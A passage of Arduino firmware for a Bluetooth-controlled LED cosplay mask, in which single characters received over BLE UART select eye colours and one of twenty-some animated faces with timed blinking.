0x040404;\n\n\/\/ Define initial color\nuint32_t color = colorWhite;\n\n\/\/ Define Variables for blinking the LEDs\nunsigned long currentMillis = 0;\nunsigned long previousMillis = 0;\nint ledState = 0; \/\/\nlong OnTime = 6000; \/\/ milliseconds of on-time\nlong OffTime = 50; \/\/ milliseconds of off-time\n\n\/\/ Initial boolean variables for face status checks when switching faces\n\/\/ Face001\nbool Face001RunningCheck = false;\nbool Face001BlinkCheck = false;\n\/\/ Face002 \nbool Face002RunningCheck = false;\nbool Face002BlinkCheck = false;\n\/\/ Face003\nbool Face003RunningCheck = false;\nbool Face003BlinkCheck = false; \n\/\/ Face004\nbool Face004RunningCheck = false;\nbool Face004BlinkCheck = false;\n\/\/ Face005\nbool Face005RunningCheck = false;\nbool Face005BlinkCheck = false;\n\/\/ Face006 \nbool Face006RunningCheck = false;\nbool Face006BlinkCheck = false;\n\/\/ Face007\nbool Face007RunningCheck = false;\nbool Face007BlinkCheck = false; \n\/\/ Face008\nbool Face008RunningCheck = false;\nbool Face008BlinkCheck = false;\n\/\/ Face009\nbool Face009RunningCheck = false;\nbool Face009BlinkCheck = false; \n\/\/ Face010\nbool Face010RunningCheck = false;\nbool Face010BlinkCheck = false;\n\/\/ Face011\nbool Face011RunningCheck = false;\nbool Face011BlinkCheck = false;\n\/\/ Face012\nbool Face012RunningCheck = false;\nbool Face012BlinkCheck = false;\n\/\/ Face013\nbool Face013RunningCheck = false;\nbool Face013BlinkCheck = false;\n\/\/ Face014\nbool Face014RunningCheck = false;\nbool Face014BlinkCheck = false;\n\/\/ Face015\nbool Face015RunningCheck = false;\nbool Face015BlinkCheck = false;\n\/\/ Face016\nbool Face016RunningCheck = false;\nbool Face016BlinkCheck = false;\n\/\/ Face017\nbool Face017RunningCheck = false;\nbool Face017BlinkCheck = false;\n\/\/ Face018\nbool Face018RunningCheck = false;\nbool Face018BlinkCheck = false;\n\/\/ Face019\nbool Face019RunningCheck = false;\nbool Face019BlinkCheck = false;\n\/\/ Face020\nbool Face020RunningCheck = false;\nbool Face020BlinkCheck = false;\n\/\/ Face021\nbool Face021RunningCheck = false;\nbool Face021BlinkCheck = false;\n\/\/ Face022\nbool Face022RunningCheck = false;\nbool Face022BlinkCheck = false;\n\/\/ Face023\nbool Face023RunningCheck = false;\nbool Face023BlinkCheck = false;\n\nvoid setup()\n{\n lefteye.begin();\n righteye.begin();\n lefteye.show(); \n righteye.show();\n \n Serial.begin(115200); \/\/ Enable Serial for debugging purposes\n Serial.println(\"=======================================\");\n Serial.println(\"|| Opening Serial port for Debugging ||\");\n Serial.println(\"|| Begin Wrnech Mask Program ||\");\n Serial.println(\"=======================================\");\n\n \/\/Configure BLE\n Bluefruit.begin();\n \/\/ Set max power. Accepted values are: -40, -30, -20, -16, -12, -8, -4, 0, 4\n Bluefruit.setTxPower(4);\n Bluefruit.setName(\"Wrench Mask\");\n Bluefruit.setConnectCallback(connect_callback);\n Bluefruit.setDisconnectCallback(disconnect_callback);\n\n \/\/ Configure and Start Device Information Service\n bledis.setManufacturer(\"Adafruit Industries\");\n bledis.setModel(\"Bluefruit Feather52\");\n bledis.begin();\n\n \/\/ Configure and Start BLE Uart Service\n bleuart.begin();\n\n \/\/ Start BLE Battery Service\n blebas.begin();\n blebas.write(100);\n\n \/\/ Set up and start advertising\n startAdv();\n}\n\nvoid startAdv(void)\n{\n \/\/ Advertising packet\n Bluefruit.Advertising.addFlags(BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE);\n Bluefruit.Advertising.addTxPower();\n\n \/\/ Include bleuart 128-bit uuid\n Bluefruit.Advertising.addService(bleuart);\n\n \/\/ Secondary Scan Response packet (optional)\n \/\/ Since there is no room for 'Name' in Advertising packet\n Bluefruit.ScanResponse.addName();\n \n \/* Start Advertising\n * - Enable auto advertising if disconnected\n * - Interval: fast mode = 20 ms, slow mode = 152.5 ms\n * - Timeout for fast mode is 30 seconds\n * - Start(timeout) with timeout = 0 will advertise forever (until connected)\n * \n * For recommended advertising interval\n * https:\/\/developer.apple.com\/library\/content\/qa\/qa1931\/_index.html \n *\/\n Bluefruit.Advertising.restartOnDisconnect(true);\n Bluefruit.Advertising.setInterval(32, 244); \/\/ in unit of 0.625 ms\n Bluefruit.Advertising.setFastTimeout(30); \/\/ number of seconds in fast mode\n Bluefruit.Advertising.start(0); \/\/ 0 = Don't stop advertising after n seconds \n}\n\nvoid loop()\n{\n \/\/ Respond to command and forward from BLEUART to HW Serial for Debugging\n while ( bleuart.available() )\n {\n uint8_t ch;\n ch = (uint8_t) bleuart.read();\n Serial.print(\"Received Command: \");\n Serial.write(ch);\n Serial.println(\"\");\n if(ch == 0x57){\n color=colorRed; \n }\n else if(ch == 0x58){\n color=colorGreen; \n } \n else if(ch == 0x59){\n color=colorBlue;\n } \n else if(ch == 0x5A){\n color=colorWhite;\n } \n else if(ch == 0x31){\n FaceMode=1;\n }\n else if(ch == 0x32){\n FaceMode=2;\n }\n else if(ch == 0x33){\n FaceMode=3;\n }\n else if(ch == 0x34){\n FaceMode=4;\n }\n else if(ch == 0x35){\n FaceMode=5;\n }\n else if(ch == 0x36){\n FaceMode=6;\n }\n else if(ch == 0x37){\n FaceMode=7;\n }\n else if(ch == 0x38){\n FaceMode=8;\n }\n else if(ch == 0x39){\n FaceMode=9;\n }\n else if(ch == 0x30){\n FaceMode=0;\n }\n else if(ch == 0x41){\n FaceMode='A';\n }\n else if(ch == 0x42){\n FaceMode='B';\n }\n else if(ch == 0x43){\n FaceMode='C';\n }\n else if(ch == 0x44){\n FaceMode='D';\n }\n else if(ch == 0x45){\n FaceMode='E';\n }\n else if(ch == 0x46){\n FaceMode='F';\n }\n else if(ch == 0x47){\n FaceMode='G';\n }\n else if(ch == 0x48){\n FaceMode='H';\n }\n else if(ch == 0x49){\n FaceMode='I';\n }\n else if(ch == 0x4A){\n FaceMode='J';\n }\n else if(ch == 0x4B){\n FaceMode='K';\n }\n else if(ch == 0x4C){\n FaceMode='L';\n }\n else if(ch == 0x4D){\n FaceMode='M';\n }\n else if(ch == 0x4E){\n FaceMode='N';\n Serial.println(\"Umbrella LEDs ON\");\n }\n }\n\n switch (FaceMode) \n {\n case 1: Face001(); break; \/\/ Draw Face001\n case 2: Face002(); break; \/\/ Draw Face002\n case 3: Face003(); break; \/\/ Draw Face003\n case 4: Face004(); break; \/\/ Draw Face004\n case 5: Face005(); break; \/\/ Draw Face005\n case 6: Face006(); break; \/\/ Draw Face006\n case 7: Face007(); break; \/\/ Draw Face007\n case 8: Face008(); break; \/\/ Draw Face008\n case 9: Face009(); break; \/\/ Draw Face009\n case 0: Face010(); break; \/\/ Draw Face010\n case 'A': Face011(); break; \/\/ Draw Face011\n case 'B': Face012(); break; \/\/ Draw Face012\n case 'C': Face013(); break; \/\/ Draw Face013\n case 'D': Face014(); break; \/\/ Draw Face014\n case 'E': Face015(); break; \/\/ Draw Face015\n case 'F': Face016(); break; \/\/ Draw Face016\n case 'G': Face017(); break; \/\/ Draw Face017\n case 'H': Face018(); break; \/\/ Draw Face018\n case 'I': Face019(); break; \/\/ Draw Face019\n case 'J': Face020(); break; \/\/ Draw Face020\n case 'K': Face021(); break; \/\/ Draw Face021\n case 'L': Face022(); break; \/\/ Draw Face022\n case 'M': Face023(); break; \/\/ Draw Face023\n case 'N': Umbrella(); break; \/\/ Draw Umbrella Corp logo\n }\n}\n\nvoid connect_callback(uint16_t conn_handle)\n{\n char central_name[32] = { 0 };\n Bluefruit.Gap.getPeerName(conn_handle, central_name, sizeof(central_name));\n\n Serial.print(\"Connected to \");\n Serial.println(central_name);\n}\n\nvoid disconnect_callback(uint16_t conn_handle, uint8_t reason)\n{\n (void) conn_handle;\n (void) reason;\n\n Serial.println();\n Serial.println(\"Disconnected\");\n}\n\n\/**\n * RTOS Idle callback is automatically invoked by FreeRTOS\n * when there are no active threads. E.g when loop() calls delay() and\n * there is no bluetooth or hw event. This is the ideal place to handle\n * background data.\n * \n * NOTE: It is recommended to call waitForEvent() to put MCU into low-power mode\n * at the end of this callback. You could also turn off other Peripherals such as\n * Serial\/PWM and turn them back on if wanted\n * \n * e.g\n * \n * void rtos_idle_callback(void)\n * {\n * Serial.stop(); \/\/ will lose data when sleeping\n * waitForEvent();\n * Serial.begin(115200); \n * }\n * \n * NOTE2: If rtos_idle_callback() is not defined at all. Bluefruit will force\n * waitForEvent() to save power. If you don't want MCU to sleep at all, define\n * an rtos_idle_callback() with empty body !\n * \n * WARNING: This function MUST NOT call any blocking FreeRTOS API \n * such as delay(), xSemaphoreTake() etc ... for more information\n * http:\/\/www.freertos.org\/a00016.html\n *\/\nvoid rtos_idle_callback(void)\n{\n \/\/ Don't call any other FreeRTOS blocking API()\n \/\/ Perform background task(s) here\n\n \/\/ Request CPU to enter low-power mode until an event\/interrupt occurs\n waitForEvent();\n}\n\nvoid Face001()\n{\n if (Face001RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace001();\n FaceRunningCheckClearFunction();\n Face001RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face001BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face001 LEDs ON\"); \/\/ Debug output\n DrawFace001();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face001BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face001 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"001\");\n }\n else\n {\n Face001BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n }\n } \n}\n\/\/ Draw Face002\nvoid Face002()\n{\n if (Face002RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace002();\n FaceRunningCheckClearFunction();\n Face002RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face002BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face002 LEDs ON\"); \/\/ Debug output\n DrawFace002();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face002BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face002 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"002\");\n }\n else\n {\n Face002BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face003\nvoid Face003()\n{\n if (Face003RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace003();\n FaceRunningCheckClearFunction();\n Face003RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face003BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n DrawFace003();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face003BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face003 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"003\");\n }\n else\n {\n Face003BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n} \n\/\/ Draw Face004\nvoid Face004()\n{\n if (Face004RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace004();\n FaceRunningCheckClearFunction();\n Face004RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face004BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face004 LEDs ON\"); \/\/ Debug output\n DrawFace004(); \n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face004BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face004 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"004\");\n }\n else\n {\n Face004BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face005\nvoid Face005()\n{\n if (Face005RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace005();\n FaceRunningCheckClearFunction();\n Face005RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face005BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face005 LEDs ON\"); \/\/ Debug output\n DrawFace005();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face005BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face005 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"005\");\n }\n else\n {\n Face005BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face006\nvoid Face006()\n{\n if (Face006RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace006();\n FaceRunningCheckClearFunction();\n Face006RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face006BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face006 LEDs ON\"); \/\/ Debug output\n DrawFace006();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face006BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face006 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"006\");\n }\n else\n {\n Face006BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face007\nvoid Face007()\n{\n if (Face007RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace007();\n FaceRunningCheckClearFunction();\n Face007RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face007BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face007 LEDs ON\"); \/\/ Debug output\n DrawFace007();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face007BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face007 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"007\");\n }\n else\n {\n Face007BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face008\nvoid Face008()\n{\n if (Face008RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace008();\n FaceRunningCheckClearFunction();\n Face008RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face008BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face008 LEDs ON\"); \/\/ Debug output\n DrawFace008();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face008BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"008\");\n }\n else\n {\n Face008BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face009\nvoid Face009()\n{\n if (Face009RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace009();\n FaceRunningCheckClearFunction();\n Face009RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face009BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face009 LEDs ON\"); \/\/ Debug output\n DrawFace009();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face009BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"009\");\n }\n else\n {\n Face009BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face010\nvoid Face010()\n{\n if (Face010RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace010();\n FaceRunningCheckClearFunction();\n Face010RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face010BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face010 LEDs ON\"); \/\/ Debug output\n DrawFace010();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face010BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"010\");\n }\n else\n {\n Face010BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face011\nvoid Face011()\n{\n if (Face011RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace011();\n FaceRunningCheckClearFunction();\n Face011RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face011BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face011 LEDs ON\"); \/\/ Debug output\n DrawFace011();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face011BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"011\");\n }\n else\n {\n Face011BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face012\nvoid Face012()\n{\n if (Face012RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace012();\n FaceRunningCheckClearFunction();\n Face012RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face012BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face012 LEDs ON\"); \/\/ Debug output\n DrawFace012();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face012BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"012\");\n }\n else\n {\n Face012BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face013\nvoid Face013()\n{\n if (Face013RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace013();\n FaceRunningCheckClearFunction();\n Face013RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face013BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face013 LEDs ON\"); \/\/ Debug output\n DrawFace013();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face013BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"013\");\n }\n else\n {\n Face013BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face014\nvoid Face014()\n{\n if (Face014RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace014();\n FaceRunningCheckClearFunction();\n Face014RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face014BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face014 LEDs ON\"); \/\/ Debug output\n DrawFace014();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face014BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"014\");\n }\n else\n {\n Face014BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face015\nvoid Face015()\n{\n if (Face015RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace015();\n FaceRunningCheckClearFunction();\n Face015RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face015BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face015 LEDs ON\"); \/\/ Debug output\n DrawFace015();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face015BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face015 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"015\");\n }\n else\n {\n Face015BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face016\nvoid Face016()\n{\n if (Face016RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace016();\n FaceRunningCheckClearFunction();\n Face016RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face016BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face016 LEDs ON\"); \/\/ Debug output\n DrawFace016();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face016BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"016\");\n }\n else\n {\n Face016BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face017 ---------------------------------------------------------------------------------------------\nvoid Face017()\n{\n if (Face017RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace017();\n \/\/ Setting FaceRunningCheck variables for smoother changes\n 